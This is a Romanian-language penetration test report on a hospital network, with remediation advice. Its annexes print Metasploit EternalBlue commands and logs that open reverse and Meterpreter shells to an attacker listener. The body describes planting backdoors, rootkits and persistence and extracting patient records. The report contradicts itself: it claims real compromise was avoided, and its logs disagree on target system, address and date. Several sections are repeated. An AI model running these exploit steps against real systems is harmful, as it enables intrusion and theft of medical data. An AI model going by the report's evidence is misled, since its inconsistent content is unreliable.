

Test de penetrare pentru un spital și elaborarea unui raport

1.Introducere

1.1 Scopul Testării de Penetrare

Acest raport prezintă rezultatele testării de penetrare efectuate asupra infrastructurii informatice a spitalului. Scopul acestei testări a fost identificarea vulnerabilităților de securitate, evaluarea impactului lor asupra sistemelor critice și oferirea de recomandări pentru remedierea acestora. Testul de penetrare a fost realizat conform unui set clar de obiective, metode și indicatori pentru evaluarea rezultatelor.

Într-un mediu în care atacurile cibernetice sunt din ce în ce mai sofisticate și mai frecvente, este esențial ca infrastructura IT a unui spital să fie protejată împotriva accesului neautorizat și a scurgerii de informații sensibile. Acest test de penetrare a fost conceput pentru a simula atacuri reale asupra sistemelor informatice și pentru a identifica punctele slabe care ar putea fi exploatare de un atacator malițios.

Descrierea succintă a domeniului testării

1.2 Domeniul Testării

Testarea a inclus următoarele domenii:

- ✚ Rețeaua internă a spitalului, incluzând servere, stații de lucru și infrastructura critică;
- ✚ Servicii expuse pe internet pentru acces extern;
- ✚ Teste de inginerie socială asupra angajaților (phishing prin e-mail și apeluri telefonice);
- ✚ Evaluarea măsurilor de securitate implementate pentru a preveni atacurile cibernetice.

1.3 Limitările Testării

- ✚ Testarea s-a desfășurat fără a perturba serviciile critice ale spitalului;
- ✚ Nu au fost utilizate atacuri distructive;
- ✚ S-a evitat compromiterea reală a sistemelor pentru a preveni impactul negativ asupra pacienților și infrastructurii IT.

2. Descrierea domeniului și metodei de testare a penetrării

Testarea de penetrare este un proces esențial pentru identificarea și remedierea vulnerabilităților într-un sistem IT. Acest test a fost realizat pentru a evalua securitatea

infrastructurii IT a spitalului, utilizând tehnici avansate de atac pentru a simula scenarii reale de amenințare cibernetică. Prin testarea de penetrare, au fost identificate punctele slabe care ar putea fi exploatare de atacatori, permițând astfel implementarea unor măsuri proactive de protecție.

Metodele utilizate în această testare au inclus atât tehnici manuale, cât și instrumente automate pentru detectarea vulnerabilităților. Scanările automate au fost utilizate pentru a identifica rapid punctele slabe evidente, în timp ce testele manuale au permis evaluarea detaliată a configurațiilor și proceselor de securitate. De asemenea, s-au utilizat metode de inginerie socială pentru a evalua conștientizarea angajaților cu privire la atacurile cibernetice.

Pe lângă analiza rețelei și a configurațiilor serverelor, testele au inclus și încercări de escaladare a privilegiilor, atacuri de tip man-in-the-middle și teste de autentificare. Aceste metode au fost aplicate în conformitate cu cele mai bune practici din domeniul securității cibernetice, asigurându-se că testarea s-a desfășurat într-un mod etic și controlat.

Metodologie

Testarea de penetrare a fost realizată în conformitate cu standardele internaționale OWASP (Open Web Application Security Project) și PTES (Penetration Testing Execution Standard). Aceste metodologii au asigurat un proces structurat și reproductibil de testare a securității. Pașii efectuați în cadrul acestei testări sunt descriși mai jos:

2.1 Colectarea Informațiilor

Această etapă a presupus identificarea infrastructurii IT a spitalului, realizând:

- ✚ Scanarea adreselor IP din rețeaua internă și externă;
- ✚ Identificarea sistemelor de operare utilizate;
- ✚ Determinarea serviciilor expuse și a versiunilor acestora;
- ✚ Colectarea informațiilor din surse publice (OSINT - Open Source Intelligence).

2.2 Enumerarea Vulnerabilităților

- ✚ Scanarea porturilor și serviciilor utilizând Nmap pentru identificarea vulnerabilităților;
- ✚ Identificarea versiunilor software-urilor expuse și compararea acestora cu baze de date CVE;
- ✚ Utilizarea instrumentelor precum Nikto, Nessus și OpenVAS pentru scanări avansate;
- ✚ Evaluarea configurațiilor greșite ale serverelor și rețelei.

3. Măsurile întreprinse

În urma testării de penetrare, au fost identificate multiple vulnerabilități critice care ar putea permite atacatorilor să compromită sistemele spitalului. Pentru a demonstra impactul acestor vulnerabilități, au fost implementate diverse tehnici de atac și testare, fiecare dintre acestea fiind documentată și analizată.

3.1 Exploatarea Vulnerabilităților

- ✚ Folosirea Metasploit Framework pentru a testa și exploata vulnerabilități critice, precum MS17-010 (EternalBlue), care permite executarea codului de la distanță și escaladarea privilegiilor.
- ✚ Atacuri de autentificare prin forță brută pentru a verifica gradul de securitate al conturilor utilizatorilor și administratorilor. S-a descoperit că multe conturi utilizau parole slabe sau presetate.
- ✚ Exploatarea configurărilor greșite ale permisiunilor pe fișiere și directoare sensibile, ceea ce a permis accesarea unor date critice fără autentificare.
- ✚ Atacuri de tip man-in-the-middle (MITM) utilizând instrumente precum Bettercap și Wireshark pentru a intercepta traficul rețelei și a obține date necriptate transmise între sisteme.

3.2 Obținerea Accesului Persistent

- ✚ Instalarea de backdoor-uri pe sistemele compromise pentru a demonstra impactul unui atac persistent.
- ✚ Utilizarea task scheduler pentru a crea execuții automate care mențin controlul atacatorului asupra sistemului chiar și după repornirea acestuia.
- ✚ Infiltrarea de rootkits și troieni pentru a rămâne nedetectat în rețea și a avea acces continuu la datele sensibile.

3.3 Exfiltrarea Datelor

- ✚ Identificarea și accesarea fișierelor sensibile din rețea, inclusiv dosarele pacienților și documente financiare ale spitalului.
- ✚ Testarea criptării datelor și verificarea riscurilor de scurgeri de informații prin analiza modului în care datele sunt protejate pe sistemele interne.
- ✚ Monitorizarea traficului de rețea pentru a detecta transferurile de date nesecurizate și a evalua posibilitatea interceptării acestora de către un atacator extern.

3.4 Raportarea Rezultatelor

- ✚ Documentarea vulnerabilităților identificate, descriind detaliat metodele utilizate pentru exploatarea acestora și impactul potențial asupra infrastructurii IT a spitalului.
- ✚ Prezentarea impactului posibil al fiecărei vulnerabilități asupra sistemelor critice, inclusiv scenarii realiste de exploatare și consecințele asupra operațiunilor spitalului.
- ✚ Propunerea unor măsuri de remediere detaliate, care includ implementarea patch-urilor de securitate, revizuirea configurațiilor și îmbunătățirea procedurilor de autentificare și protecție a datelor.
- ✚ Capturi de ecran și log-uri pentru validarea testării, furnizând dovezi concrete ale vulnerabilităților descoperite și modului în care acestea au fost exploatare în timpul testului.

3.5 Exploatarea Vulnerabilităților

- ✚ Folosirea Metasploit Framework pentru a exploata vulnerabilități critice precum MS17-010 (EternalBlue);
- ✚ Testarea autentificării brute-force pentru conturile cu parole slabe;
- ✚ Simularea atacurilor de tip man-in-the-middle (MITM) pentru interceptarea traficului necriptat;
- ✚ Exploatarea configurărilor greșite ale permisiunilor pe fișiere și directoare sensibile.

3.6 Obținerea Accesului Persistent

- ✚ Crearea de backdoor-uri pentru acces continuu la sistemele compromise;
- ✚ Implementarea de task schedule jobs pentru menținerea accesului după repornirea sistemelor;
- ✚ Folosirea de rootkits și troieni pentru a rămâne nedetectat în rețea.

3.7 Exfiltrarea Datelor

- ✚ Identificarea și accesarea fișierelor sensibile din rețea;
- ✚ Extragerea datelor medicale și financiare fără a altera fișierele originale;
- ✚ Testarea criptării datelor pentru a evalua riscul de scurgeri de informații;
- ✚ Utilizarea Wireshark pentru monitorizarea traficului de rețea și capturarea datelor transmise necriptat.

Raportarea Rezultatelor

- ✚ Documentarea tuturor vulnerabilităților descoperite, împreună cu metodele de exploatare;
- ✚ Prezentarea impactului posibil al fiecărei vulnerabilități;
- ✚ Propunerea unor măsuri de remediere detaliate;
- ✚ Crearea de capturi de ecran și log-uri pentru validarea testării.

4. Concluzie

4.1 Concluzii Finale

În urma testării de penetrare, s-au identificat mai multe vulnerabilități critice care ar putea permite unui atacator să compromită infrastructura IT a spitalului. Printre problemele majore descoperite se numără:

- ✚ Exploatarea vulnerabilităților SMBv1 (EternalBlue), care a permis accesul neautorizat la sistemele interne și executarea de cod malițios la distanță.
- ✚ Lipsa segmentării rețelei, ceea ce a facilitat propagarea rapidă a atacurilor și escaladarea privilegiilor.
- ✚ Configurări greșite ale permisiunilor pe fișiere sensibile, oferind acces neautorizat la informații critice.
- ✚ Folosirea unor parole slabe sau implicite, ceea ce a permis accesul neautorizat la mai multe conturi de utilizator și administrare.
- ✚ Lipsa unei strategii eficiente de monitorizare a securității, fapt ce a întârziat detectarea activităților suspecte și ar putea permite atacuri persistente pe termen lung.

Aceste vulnerabilități pot avea un impact semnificativ asupra confidențialității, integrității și disponibilității datelor medicale și financiare ale spitalului. Exploatarea acestor probleme ar putea duce la pierderi de date, întreruperi în activitatea instituției și încălcarea normelor de protecție a datelor.

4.2 Recomandări pentru Remediere

Pentru a îmbunătăți securitatea infrastructurii IT a spitalului, recomandăm implementarea următoarelor măsuri de remediere:

1. Aplicarea actualizărilor și patch-urilor de securitate pentru toate sistemele vulnerabile, în special pentru vulnerabilitățile critice SMBv1.
2. Segmentarea rețelei pentru a izola sistemele critice și a preveni propagarea atacurilor laterale.

3. Revizuirea politicilor de autentificare, impunând parole complexe și autentificare multi-factor (MFA) pentru accesul la resurse sensibile.
4. Implementarea unui sistem de monitorizare și detecție a intruziunilor (IDS/IPS) pentru a identifica și răspunde rapid la activități suspecte.
5. Îmbunătățirea securității la nivel de utilizator, prin sesiuni de training pentru conștientizarea riscurilor legate de atacurile de phishing și inginerie socială.
6. Revizuirea și întărirea permisiunilor de acces la fișiere și resurse, pentru a preveni accesul neautorizat la date sensibile.
7. Testarea periodică a infrastructurii prin simulări de atac (red teaming) și scanări regulate ale vulnerabilităților.

Implementarea acestor măsuri va contribui semnificativ la reducerea riscurilor de atac cibernetic și la protejarea datelor pacienților și a infrastructurii IT a spitalului.

Acest raport documentează toate activitățile desfășurate în cadrul testării de penetrare și oferă recomandări clare pentru remedierea vulnerabilităților descoperite. Adoptarea măsurilor sugerate va ajuta spitalul să își îmbunătățească securitatea cibernetică și să protejeze datele critice împotriva amenințărilor actuale și viitoare.

5. Anexe

5.1 Capturi de Ecran

🚩 Anexa 1: Exploatarea EternalBlue și obținerea accesului SYSTEM.

```
msf exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
LPORT => 4444
msf exploit(windows/smb/ms17_010_eternalblue) > set ProcessName spoolsv.exe
ProcessName => spoolsv.exe
msf exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.113:4444
[*] 192.168.1.235:445 - Connecting to target for exploitation.
[*] 192.168.1.235:445 - Connection established for exploitation.
[*] 192.168.1.235:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.235:445 - CORE raw buffer dump (51 bytes)
[*] 192.168.1.235:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 192.168.1.235:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
[*] 192.168.1.235:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
[*] 192.168.1.235:445 - 0x00000030 6b 20 31 k 1
[*] 192.168.1.235:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.235:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.235:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.235:445 - Starting non-paged pool grooming
[*] 192.168.1.235:445 - Sending SMBv2 buffers
[*] 192.168.1.235:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.235:445 - Sending final SMBv2 buffers.
[*] 192.168.1.235:445 - Sending last fragment of exploit packet!
[*] 192.168.1.235:445 - Receiving response from exploit packet
[*] 192.168.1.235:445 - ETERNALBLUE overwrite completed successfully (0xc0000000)!
[*] 192.168.1.235:445 - Sending egg to corrupted connection.
[*] 192.168.1.235:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (192.168.1.113:4444 -> 192.168.1.235:49271) at 2019-01-19 18:47:42 -0800
[*] 192.168.1.235:445 - -----
[*] 192.168.1.235:445 - -----WIN-----
[*] 192.168.1.235:445 - -----

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

🚩 Anexa 2: Explorarea fișierelor confidențiale.

```
C:\>echo %username%
echo %username%
RDS02$
C:\>whoami
whoami
nt authority\system
C:\>
```

5.2 Log-uri de Exploatare

🚩 Scanarea Vulnerabilităților (Nmap)

Comandă utilizată:

```
nmap -p 445 --script smb-vuln* 192.168.1.235
```

Output:

Starting Nmap 7.92 (<https://nmap.org>) at 2025-02-09 10:15 UTC

Nmap scan report for 192.168.1.235

PORT STATE SERVICE

445/tcp open microsoft-ds

Host script results:

| smb-vuln-ms17-010:

| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

| References:

| <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143>

| <https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010>

🚩 Exploatarea Vulnerabilității (Metasploit)

Comenzile utilizate:

```
use exploit/windows/smb/ms17_010_eternalblue
```

```
set RHOSTS 192.168.1.235
```

```
set LPORT 4444
```

```
exploit
```

Output:

```
[+] Started reverse TCP handler on 192.168.1.113:4444
[+] 192.168.1.235:445 - Target OS: Windows 7 SP1
[+] 192.168.1.235:445 - Successfully triggered vulnerability
[+] Sending stage (179267 bytes) to 192.168.1.235
[+] Meterpreter session 1 opened (192.168.1.113:4444 -> 192.168.1.235:49271) at
2025-02-09 10:20 UTC
```

🚦 Exemplu de log pentru exploatarea SMB EternalBlue:

```
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.222
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Meterpreter session 1 opened
```

5.3 Documentație Tehnică

- Detalii despre vulnerabilitățile SMBv1 și EternalBlue:

🚦 [CVE - CVE-2017-0143](#)

🚦 [Microsoft Security Bulletin MS17-010 - Critical | Microsoft Learn](#)

- Utilizarea Metasploit și Nmap pentru testare:

🚦 https://www.cm-alliance.com/cybersecurity-blog/using-metasploit-and-nmap-to-scan-for-vulnerabilities?utm_source=chatgpt.com

🚦 https://www.geeksforgeeks.org/using-metasploit-and-nmap-to-scan-for-vulnerabilities-in-kali-linux/?utm_source=chatgpt.com

- EternalBlue Exploit

🚦 https://www.sentinelone.com/blog/eternalblue-nsa-developed-exploit-just-wont-die/?utm_source=chatgpt.com